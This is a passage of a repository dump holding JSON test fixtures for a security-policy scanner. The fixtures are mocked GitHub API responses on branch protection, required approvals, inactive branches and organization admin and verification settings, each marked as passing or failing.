    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchRequirePushRestrictions/pass.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"restrictions\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/restrictions\",\n    \"users_url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/restrictions/users\",\n    \"teams_url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/restrictions/teams\",\n    \"apps_url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/restrictions/apps\",\n    \"users\": [\n      {\n        \"login\": \"gruebel\",\n        \"id\": 12345,\n        \"node_id\": \"12345\",\n        \"avatar_url\": \"https://avatars.githubusercontent.com/\",\n        \"gravatar_id\": \"\",\n        \"url\": \"https://api.github.com/users/deadpool\",\n        \"html_url\": \"https://github.com/deadpool\",\n        \"followers_url\": \"https://api.github.com/users/deadpool/followers\",\n        \"following_url\": \"https://api.github.com/users/deadpool/following{/other_user}\",\n        \"gists_url\": \"https://api.github.com/users/deadpool/gists{/gist_id}\",\n        \"starred_url\": \"https://api.github.com/users/deadpool/starred{/owner}{/repo}\",\n        \"subscriptions_url\": \"https://api.github.com/users/deadpool/subscriptions\",\n        \"organizations_url\": \"https://api.github.com/users/deadpool/orgs\",\n        \"repos_url\": \"https://api.github.com/users/deadpool/repos\",\n        \"events_url\": \"https://api.github.com/users/deadpool/events{/privacy}\",\n        \"received_events_url\": \"https://api.github.com/users/deadpool/received_events\",\n        \"type\": \"User\",\n        \"site_admin\": false\n      }\n    ],\n    \"teams\": [],\n    \"apps\": []\n  },\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchRequireStatusChecks/expected.yaml",
    "content": "pass:\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchRequireStatusChecks/fail.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchRequireStatusChecks/pass.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"required_status_checks\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_status_checks\",\n    \"strict\": true,\n    \"contexts\": [\n      \"build\"\n    ],\n    \"contexts_url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_status_checks/contexts\",\n    \"checks\": [\n      {\n        \"context\": \"build\",\n        \"app_id\": 12345\n      }\n    ]\n  },\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubDisallowInactiveBranch60Days/expected.yaml",
    "content": "pass:\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubDisallowInactiveBranch60Days/fail.json",
    "content": "{\n    \"name\": \"master\",\n    \"commit\": {\n        \"sha\": \"some-sha\",\n        \"node_id\": \"node-id\",\n        \"commit\": {\n            \"author\": {\n                \"name\": \"GitHub Action\",\n                \"email\": \"action@github.com\",\n                \"date\": \"2022-07-26T08:43:35Z\"\n            },\n            \"committer\": {\n                \"name\": \"GitHub Action\",\n                \"email\": \"action@github.com\",\n                \"date\": \"2022-07-26T08:43:35Z\"\n            },\n            \"message\": \"update resource scan result doc\",\n            \"tree\": {\n                \"sha\": \"some-sha\",\n                \"url\": \"https://api.github.com/repos/marynaKK/terragoat/git/trees/some-sha\"\n            },\n            \"url\": \"https://api.github.com/repos/marynaKK/terragoat/git/commits/some-sha\",\n            \"comment_count\": 0,\n            \"verification\": {\n                \"verified\": false,\n                \"reason\": \"unsigned\",\n                \"signature\": null,\n                \"payload\": null\n            }\n        },\n        \"url\": \"https://api.github.com/repos/marynaKK/terragoat/commits/some-sha\",\n        \"html_url\": \"https://github.com/marynaKK/terragoat/commit/some-sha\",\n        \"comments_url\": \"https://api.github.com/repos/marynaKK/terragoat/commits/some-sha/comments\",\n        \"author\": {\n            \"login\": \"actions-user\",\n            \"id\": 12345678,\n            \"node_id\": \"node-id\",\n            \"avatar_url\": \"https://avatars.githubusercontent.com/u/65916846?v=4\",\n            \"gravatar_id\": \"\",\n            \"url\": \"https://api.github.com/users/actions-user\",\n            \"html_url\": \"https://github.com/actions-user\",\n            \"followers_url\": \"https://api.github.com/users/actions-user/followers\",\n            \"following_url\": \"https://api.github.com/users/actions-user/following{/other_user}\",\n            \"gists_url\": \"https://api.github.com/users/actions-user/gists{/gist_id}\",\n            \"starred_url\": \"https://api.github.com/users/actions-user/starred{/owner}{/repo}\",\n            \"subscriptions_url\": \"https://api.github.com/users/actions-user/subscriptions\",\n            \"organizations_url\": \"https://api.github.com/users/actions-user/orgs\",\n            \"repos_url\": \"https://api.github.com/users/actions-user/repos\",\n            \"events_url\": \"https://api.github.com/users/actions-user/events{/privacy}\",\n            \"received_events_url\": \"https://api.github.com/users/actions-user/received_events\",\n            \"type\": \"User\",\n            \"site_admin\": false\n        },\n        \"committer\": {\n            \"login\": \"actions-user\",\n            \"id\": 12345678,\n            \"node_id\": \"node-id\",\n            \"avatar_url\": \"https://avatars.githubusercontent.com/u/65916846?v=4\",\n            \"gravatar_id\": \"\",\n            \"url\": \"https://api.github.com/users/actions-user\",\n            \"html_url\": \"https://github.com/actions-user\",\n            \"followers_url\": \"https://api.github.com/users/actions-user/followers\",\n            \"following_url\": \"https://api.github.com/users/actions-user/following{/other_user}\",\n            \"gists_url\": \"https://api.github.com/users/actions-user/gists{/gist_id}\",\n            \"starred_url\": \"https://api.github.com/users/actions-user/starred{/owner}{/repo}\",\n            \"subscriptions_url\": \"https://api.github.com/users/actions-user/subscriptions\",\n            \"organizations_url\": \"https://api.github.com/users/actions-user/orgs\",\n            \"repos_url\": \"https://api.github.com/users/actions-user/repos\",\n            \"events_url\": \"https://api.github.com/users/actions-user/events{/privacy}\",\n            \"received_events_url\": \"https://api.github.com/users/actions-user/received_events\",\n            \"type\": \"User\",\n            \"site_admin\": false\n        },\n        \"parents\": [\n            {\n                \"sha\": \"some-sha\",\n                \"url\": \"https://api.github.com/repos/marynaKK/terragoat/commits/some-sha\",\n                \"html_url\": \"https://github.com/marynaKK/terragoat/commit/some-sha\"\n            }\n        ]\n    },\n    \"_links\": {\n        \"self\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master\",\n        \"html\": \"https://github.com/marynaKK/terragoat/tree/master\"\n    },\n    \"protected\": false,\n    \"protection\": {\n        \"enabled\": false,\n        \"required_status_checks\": {\n            \"enforcement_level\": \"off\",\n            \"contexts\": [],\n            \"checks\": []\n        }\n    },\n    \"protection_url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection\"\n}"
  },
  {
    "path": "tests/github/checks/branch_security/GithubDisallowInactiveBranch60Days/pass.json",
    "content": "{\n    \"name\": \"master\",\n    \"commit\": {\n        \"sha\": \"some-sha\",\n        \"node_id\": \"node-id\",\n        \"commit\": {\n            \"author\": {\n                \"name\": \"GitHub Action\",\n                \"email\": \"action@github.com\",\n                \"date\": \"2022-12-06T15:18:41Z\"\n            },\n            \"committer\": {\n                \"name\": \"GitHub Action\",\n                \"email\": \"action@github.com\",\n                \"date\": \"2022-12-06T15:18:41Z\"\n            },\n            \"message\": \"update resource scan result doc\",\n            \"tree\": {\n                \"sha\": \"some-sha\",\n                \"url\": \"https://api.github.com/repos/marynaKK/terragoat/git/trees/some-sha\"\n            },\n            \"url\": \"https://api.github.com/repos/marynaKK/terragoat/git/commits/some-sha\",\n            \"comment_count\": 0,\n            \"verification\": {\n                \"verified\": false,\n                \"reason\": \"unsigned\",\n                \"signature\": null,\n                \"payload\": null\n            }\n        },\n        \"url\": \"https://api.github.com/repos/marynaKK/terragoat/commits/some-sha\",\n        \"html_url\": \"https://github.com/marynaKK/terragoat/commit/some-sha\",\n        \"comments_url\": \"https://api.github.com/repos/marynaKK/terragoat/commits/some-sha/comments\",\n        \"author\": {\n            \"login\": \"actions-user\",\n            \"id\": 12345678,\n            \"node_id\": \"node-id\",\n            \"avatar_url\": \"https://avatars.githubusercontent.com/u/65916846?v=4\",\n            \"gravatar_id\": \"\",\n            \"url\": \"https://api.github.com/users/actions-user\",\n            \"html_url\": \"https://github.com/actions-user\",\n            \"followers_url\": \"https://api.github.com/users/actions-user/followers\",\n            \"following_url\": \"https://api.github.com/users/actions-user/following{/other_user}\",\n            \"gists_url\": \"https://api.github.com/users/actions-user/gists{/gist_id}\",\n            \"starred_url\": \"https://api.github.com/users/actions-user/starred{/owner}{/repo}\",\n            \"subscriptions_url\": \"https://api.github.com/users/actions-user/subscriptions\",\n            \"organizations_url\": \"https://api.github.com/users/actions-user/orgs\",\n            \"repos_url\": \"https://api.github.com/users/actions-user/repos\",\n            \"events_url\": \"https://api.github.com/users/actions-user/events{/privacy}\",\n            \"received_events_url\": \"https://api.github.com/users/actions-user/received_events\",\n            \"type\": \"User\",\n            \"site_admin\": false\n        },\n        \"committer\": {\n            \"login\": \"actions-user\",\n            \"id\": 12345678,\n            \"node_id\": \"node-id\",\n            \"avatar_url\": \"https://avatars.githubusercontent.com/u/65916846?v=4\",\n            \"gravatar_id\": \"\",\n            \"url\": \"https://api.github.com/users/actions-user\",\n            \"html_url\": \"https://github.com/actions-user\",\n            \"followers_url\": \"https://api.github.com/users/actions-user/followers\",\n            \"following_url\": \"https://api.github.com/users/actions-user/following{/other_user}\",\n            \"gists_url\": \"https://api.github.com/users/actions-user/gists{/gist_id}\",\n            \"starred_url\": \"https://api.github.com/users/actions-user/starred{/owner}{/repo}\",\n            \"subscriptions_url\": \"https://api.github.com/users/actions-user/subscriptions\",\n            \"organizations_url\": \"https://api.github.com/users/actions-user/orgs\",\n            \"repos_url\": \"https://api.github.com/users/actions-user/repos\",\n            \"events_url\": \"https://api.github.com/users/actions-user/events{/privacy}\",\n            \"received_events_url\": \"https://api.github.com/users/actions-user/received_events\",\n            \"type\": \"User\",\n            \"site_admin\": false\n        },\n        \"parents\": [\n            {\n                \"sha\": \"some-sha\",\n                \"url\": \"https://api.github.com/repos/marynaKK/terragoat/commits/some-sha\",\n                \"html_url\": \"https://github.com/marynaKK/terragoat/commit/some-sha\"\n            }\n        ]\n    },\n    \"_links\": {\n        \"self\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master\",\n        \"html\": \"https://github.com/marynaKK/terragoat/tree/master\"\n    },\n    \"protected\": false,\n    \"protection\": {\n        \"enabled\": false,\n        \"required_status_checks\": {\n            \"enforcement_level\": \"off\",\n            \"contexts\": [],\n            \"checks\": []\n        }\n    },\n    \"protection_url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection\"\n}"
  },
  {
    "path": "tests/github/checks/branch_security/GithubRequire2Approvals/expected.yaml",
    "content": "pass:\n  - \"pass.json\"\nfail:\n  - \"fail1.json\"\n  - \"fail2.json\"\n  - \"fail3.json\"\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubRequire2Approvals/fail1.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 0\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}"
  },
  {
    "path": "tests/github/checks/branch_security/GithubRequire2Approvals/fail2.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection\",\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}"
  },
  {
    "path": "tests/github/checks/branch_security/GithubRequire2Approvals/fail3.json",
    "content": "{\n  \"message\": \"Branch not protected\",\n  \"documentation_url\": \"https://docs.github.com/rest/branches/branch-protection#get-branch-protection\"\n}"
  },
  {
    "path": "tests/github/checks/branch_security/GithubRequire2Approvals/pass.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 2\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}"
  },
  {
    "path": "tests/github/checks/branch_security/GithubRequireUpdatedBranch/expected.yaml",
    "content": "pass:\n  - \"pass.json\"\nfail:\n  - \"fail1.json\"\n  - \"fail2.json\"\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubRequireUpdatedBranch/fail1.json",
    "content": "{\n    \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection\",\n    \"required_signatures\": {\n        \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection/required_signatures\",\n        \"enabled\": false\n    },\n    \"enforce_admins\": {\n        \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection/enforce_admins\",\n        \"enabled\": false\n    },\n    \"required_linear_history\": {\n        \"enabled\": false\n    },\n    \"allow_force_pushes\": {\n        \"enabled\": false\n    },\n    \"allow_deletions\": {\n        \"enabled\": false\n    },\n    \"block_creations\": {\n        \"enabled\": false\n    },\n    \"required_conversation_resolution\": {\n        \"enabled\": false\n    },\n    \"lock_branch\": {\n        \"enabled\": false\n    },\n    \"allow_fork_syncing\": {\n        \"enabled\": false\n    }\n}"
  },
  {
    "path": "tests/github/checks/branch_security/GithubRequireUpdatedBranch/fail2.json",
    "content": "{\n    \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection\",\n    \"required_status_checks\": {\n        \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection/required_status_checks\",\n        \"strict\": false,\n        \"contexts\": [],\n        \"contexts_url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection/required_status_checks/contexts\",\n        \"checks\": []\n    },\n    \"required_signatures\": {\n        \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection/required_signatures\",\n        \"enabled\": false\n    },\n    \"enforce_admins\": {\n        \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection/enforce_admins\",\n        \"enabled\": false\n    },\n    \"required_linear_history\": {\n        \"enabled\": false\n    },\n    \"allow_force_pushes\": {\n        \"enabled\": false\n    },\n    \"allow_deletions\": {\n        \"enabled\": false\n    },\n    \"block_creations\": {\n        \"enabled\": false\n    },\n    \"required_conversation_resolution\": {\n        \"enabled\": false\n    },\n    \"lock_branch\": {\n        \"enabled\": false\n    },\n    \"allow_fork_syncing\": {\n        \"enabled\": false\n    }\n}"
  },
  {
    "path": "tests/github/checks/branch_security/GithubRequireUpdatedBranch/pass.json",
    "content": "{\n    \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection\",\n    \"required_status_checks\": {\n        \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_status_checks\",\n        \"strict\": true,\n        \"contexts\": [],\n        \"contexts_url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_status_checks/contexts\",\n        \"checks\": []\n    },\n    \"required_signatures\": {\n        \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_signatures\",\n        \"enabled\": false\n    },\n    \"enforce_admins\": {\n        \"url\": \"https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/enforce_admins\",\n        \"enabled\": false\n    },\n    \"required_linear_history\": {\n        \"enabled\": false\n    },\n    \"allow_force_pushes\": {\n        \"enabled\": false\n    },\n    \"allow_deletions\": {\n        \"enabled\": false\n    },\n    \"block_creations\": {\n        \"enabled\": false\n    },\n    \"required_conversation_resolution\": {\n        \"enabled\": false\n    },\n    \"lock_branch\": {\n        \"enabled\": false\n    },\n    \"allow_fork_syncing\": {\n        \"enabled\": false\n    }\n}"
  },
  {
    "path": "tests/github/checks/contribution_access/GithubMinimumAdminsInOrganization/expected.yaml",
    "content": "pass:\n  - \"pass_org_admins.json\"\nfail:\n  - \"fail_org_admins.json\"\n"
  },
  {
    "path": "tests/github/checks/contribution_access/GithubMinimumAdminsInOrganization/fail_org_admins.json",
    "content": "[\n    {\n        \"login\": \"login\",\n        \"id\": 123456,\n        \"node_id\": \"node-id\",\n        \"avatar_url\": \"https://avatars.githubusercontent.com/u/99361777?v=4\",\n        \"gravatar_id\": \"\",\n        \"url\": \"https://api.github.com/users/marynaKK\",\n        \"html_url\": \"https://github.com/marynaKK\",\n        \"followers_url\": \"https://api.github.com/users/marynaKK/followers\",\n        \"following_url\": \"https://api.github.com/users/marynaKK/following{/other_user}\",\n        \"gists_url\": \"https://api.github.com/users/marynaKK/gists{/gist_id}\",\n        \"starred_url\": \"https://api.github.com/users/marynaKK/starred{/owner}{/repo}\",\n        \"subscriptions_url\": \"https://api.github.com/users/marynaKK/subscriptions\",\n        \"organizations_url\": \"https://api.github.com/users/marynaKK/orgs\",\n        \"repos_url\": \"https://api.github.com/users/marynaKK/repos\",\n        \"events_url\": \"https://api.github.com/users/marynaKK/events{/privacy}\",\n        \"received_events_url\": \"https://api.github.com/users/marynaKK/received_events\",\n        \"type\": \"User\",\n        \"site_admin\": false\n    },\n    {\n        \"login\": \"login\",\n        \"id\": 123456,\n        \"node_id\": \"node-id\",\n        \"avatar_url\": \"https://avatars.githubusercontent.com/u/99361777?v=4\",\n        \"gravatar_id\": \"\",\n        \"url\": \"https://api.github.com/users/marynaKK\",\n        \"html_url\": \"https://github.com/marynaKK\",\n        \"followers_url\": \"https://api.github.com/users/marynaKK/followers\",\n        \"following_url\": \"https://api.github.com/users/marynaKK/following{/other_user}\",\n        \"gists_url\": \"https://api.github.com/users/marynaKK/gists{/gist_id}\",\n        \"starred_url\": \"https://api.github.com/users/marynaKK/starred{/owner}{/repo}\",\n        \"subscriptions_url\": \"https://api.github.com/users/marynaKK/subscriptions\",\n        \"organizations_url\": \"https://api.github.com/users/marynaKK/orgs\",\n        \"repos_url\": \"https://api.github.com/users/marynaKK/repos\",\n        \"events_url\": \"https://api.github.com/users/marynaKK/events{/privacy}\",\n        \"received_events_url\": \"https://api.github.com/users/marynaKK/received_events\",\n        \"type\": \"User\",\n        \"site_admin\": false\n    },\n    {\n        \"login\": \"login\",\n        \"id\": 123456,\n        \"node_id\": \"node-id\",\n        \"avatar_url\": \"https://avatars.githubusercontent.com/u/99361777?v=4\",\n        \"gravatar_id\": \"\",\n        \"url\": \"https://api.github.com/users/marynaKK\",\n        \"html_url\": \"https://github.com/marynaKK\",\n        \"followers_url\": \"https://api.github.com/users/marynaKK/followers\",\n        \"following_url\": \"https://api.github.com/users/marynaKK/following{/other_user}\",\n        \"gists_url\": \"https://api.github.com/users/marynaKK/gists{/gist_id}\",\n        \"starred_url\": \"https://api.github.com/users/marynaKK/starred{/owner}{/repo}\",\n        \"subscriptions_url\": \"https://api.github.com/users/marynaKK/subscriptions\",\n        \"organizations_url\": \"https://api.github.com/users/marynaKK/orgs\",\n        \"repos_url\": \"https://api.github.com/users/marynaKK/repos\",\n        \"events_url\": \"https://api.github.com/users/marynaKK/events{/privacy}\",\n        \"received_events_url\": \"https://api.github.com/users/marynaKK/received_events\",\n        \"type\": \"User\",\n        \"site_admin\": false\n    },\n    {\n        \"login\": \"login\",\n        \"id\": 123456,\n        \"node_id\": \"node-id\",\n        \"avatar_url\": \"https://avatars.githubusercontent.com/u/99361777?v=4\",\n        \"gravatar_id\": \"\",\n        \"url\": \"https://api.github.com/users/marynaKK\",\n        \"html_url\": \"https://github.com/marynaKK\",\n        \"followers_url\": \"https://api.github.com/users/marynaKK/followers\",\n        \"following_url\": \"https://api.github.com/users/marynaKK/following{/other_user}\",\n        \"gists_url\": \"https://api.github.com/users/marynaKK/gists{/gist_id}\",\n        \"starred_url\": \"https://api.github.com/users/marynaKK/starred{/owner}{/repo}\",\n        \"subscriptions_url\": \"https://api.github.com/users/marynaKK/subscriptions\",\n        \"organizations_url\": \"https://api.github.com/users/marynaKK/orgs\",\n        \"repos_url\": \"https://api.github.com/users/marynaKK/repos\",\n        \"events_url\": \"https://api.github.com/users/marynaKK/events{/privacy}\",\n        \"received_events_url\": \"https://api.github.com/users/marynaKK/received_events\",\n        \"type\": \"User\",\n        \"site_admin\": false\n    }\n]"
  },
  {
    "path": "tests/github/checks/contribution_access/GithubMinimumAdminsInOrganization/pass_org_admins.json",
    "content": "[\n    {\n        \"login\": \"login\",\n        \"id\": 123456,\n        \"node_id\": \"node-id\",\n        \"avatar_url\": \"https://avatars.githubusercontent.com/u/99361777?v=4\",\n        \"gravatar_id\": \"\",\n        \"url\": \"https://api.github.com/users/marynaKK\",\n        \"html_url\": \"https://github.com/marynaKK\",\n        \"followers_url\": \"https://api.github.com/users/marynaKK/followers\",\n        \"following_url\": \"https://api.github.com/users/marynaKK/following{/other_user}\",\n        \"gists_url\": \"https://api.github.com/users/marynaKK/gists{/gist_id}\",\n        \"starred_url\": \"https://api.github.com/users/marynaKK/starred{/owner}{/repo}\",\n        \"subscriptions_url\": \"https://api.github.com/users/marynaKK/subscriptions\",\n        \"organizations_url\": \"https://api.github.com/users/marynaKK/orgs\",\n        \"repos_url\": \"https://api.github.com/users/marynaKK/repos\",\n        \"events_url\": \"https://api.github.com/users/marynaKK/events{/privacy}\",\n        \"received_events_url\": \"https://api.github.com/users/marynaKK/received_events\",\n        \"type\": \"User\",\n        \"site_admin\": false\n    }\n]"
  },
  {
    "path": "tests/github/checks/contribution_access/GithubRequireOrganizationIsVerified/expected.yaml",
    "content": "pass:\n  - \"pass_org_metadata.json\"\nfail:\n  - \"fail1_org_metadata.json\"\n  - \"fail2_org_metadata.json\"\n"
  },
  {
    "path": "tests/github/checks/contribution_access/GithubRequireOrganizationIsVerified/fail1_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"main@mail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_public_repositories\": true,\n    